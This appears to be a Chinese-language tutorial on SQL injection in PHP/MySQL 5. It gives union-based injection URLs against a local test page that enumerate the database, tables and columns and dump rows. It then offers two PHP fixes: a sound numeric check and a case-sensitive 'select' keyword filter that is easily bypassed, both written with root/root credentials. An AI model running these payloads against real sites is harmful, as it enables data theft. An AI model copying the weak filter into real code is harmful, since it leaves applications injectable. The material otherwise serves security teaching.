1. 程式人生 > >WEB安全 php+mysql5註入防禦

WEB安全 php+mysql5註入防禦

lose sql語句 div 數據庫名 http 數據庫表 操作 是否 spa


註入利用函數:
concat()函數將多個字符串連接成一個字符串
database() 當前數據庫
version() 數據庫版本
user() 當前數據庫用戶
@@version_compile_os 操作系統版本

mysql5.0及以上版本默認有一個information_schema數據庫,其中保存有所有數據庫表名和列名信息。

可以打開phpmyadmin,分別在information_schema數據庫的tables表和columns表查看所有表信息,了解下面的註入語句的本質。

information_schema數據庫結構:

  tables表

    table_name列(存放所有表名)

    table_schema列(數據庫名,條件註入時轉為16進制格式)

  columns表

    column_name表(存放所有列名)

    table_name列(存放所有表名)

    table_schema列(數據庫名,條件註入時一般直接找指定表的列名,不需要再指定庫名)

    table_collation表(字符編碼,utf8_general_ci)

一、php+mysql 聯合查詢註入

http://127.0.0.1/1.php?x=1 and 1=2
http://127.0.0.1/1.php?x=1 order by 3
http://127.0.0.1/1.php?x=1 UNION SELECT 1,2,3
http://127.0.0.1/1.php?x=1 UNION SELECT database(),version(),user() http://127.0.0.1/1.php?x=1 UNION SELECT CONCAT(DATABASE(),0x20,VERSION(),0x20,USER(),0x20,@@VERSION_COMPILE_OS),2,3 用戶ID:sqlin 5.5.53 root@localhost Win32 http://127.0.0.1/1.php?x=1 UNION SELECT CONCAT(TABLE_NAME,0x20,TABLE_COLLATION),2,3 from information_schema.tables
where table_schema=0x73716C696E http://127.0.0.1/1.php?x=1 UNION SELECT CONCAT(column_name),2,3 from information_schema.columns where table_name=0x6E657773 // http://127.0.0.1/1.php?x=1 UNION SELECT id,text,title FROM sqlin.news http://127.0.0.1/1.php?x=1 UNION SELECT `key`,2,3 FROM sqlin.data key在數據庫中是關鍵字,需要用反引號引起來 用戶ID:www.xiaodi8.com

  

二、註入產生的原因及修復建議

1. 註入產生的原因:未對參數接收的值進行過濾


2. 修復建議:
2.1 判斷傳入的參數類型(數字,過濾非數字):

<?php
//定義接收參數
//1.定義數據庫信息
//2.連接數據庫,選擇數據庫,定義sql語句,執行語句
//3.返回結果並處理顯示,關閉數據庫


$id = $_GET[‘x‘];//接收參數名為x的值並賦值給變量id
if(is_numeric($id)){ //如果接收過來的id變量的值是數字
	$conn = mysql_connect("127.0.0.1","root","root");//連接數據庫
	mysql_select_db("sqlin",$conn);//選擇數據庫
	$sql = "select * from news where id=$id";//定義sql語句
	$result = mysql_query($sql);//執行sql語句
	while($row = mysql_fetch_array($result)){//獲取,遍歷查詢結果並顯示
		echo "用戶ID:".$row[‘id‘]."<br>";
		echo "文章標題:".$row[‘title‘]."<br>";
		echo "文章內容:".$row[‘text‘]."<br>";
		echo "<hr>";
		
	}
		mysql_close($conn);//關閉數據庫連接
		echo "當前執行語句:".$sql."<hr>";
}else{
	echo "非法字符: ".$id;
}




?>

  

2.2 指定關鍵字過濾(過濾select等關鍵字,考慮大小寫是否可繞過):

<?
//php語言開端
//php+mysql註入頁面編程實現
/*
1.接受參數
2.數據庫連接,選擇,定義組合,執行
3.返回結果並處理顯示
*/


function check_sql($id){ //過濾select關鍵字
	$id = str_replace("select","",$id);
	return $id;
}

$id = $_GET[‘x‘];//接受參數名x的值並賦值給變量id
//$id = str_replace("select","",$id);
$id = check_sql($id);
//echo $id;
$conn = mysql_connect("127.0.0.1","root","root");//連接數據庫
mysql_select_db("sqlin",$conn);//選擇數據庫
$sql = "select * from news where id=$id";//定義sql語句
$result = mysql_query($sql);//執行sql語句
while($row = mysql_fetch_array($result)){ //遍歷結果顯示
	echo "用戶ID:".$row[‘id‘]."<br >";
	echo "文章內容:".$row[‘text‘]."<br >";	
	echo "文章標題:".$row[‘title‘]."<br >";
	echo "<hr>";

}
	mysql_close($conn);//關閉數據庫連接
	echo "當前執行語句:".$sql."<hr>";




//php語言結尾
?>

  

end.

WEB安全 php+mysql5註入防禦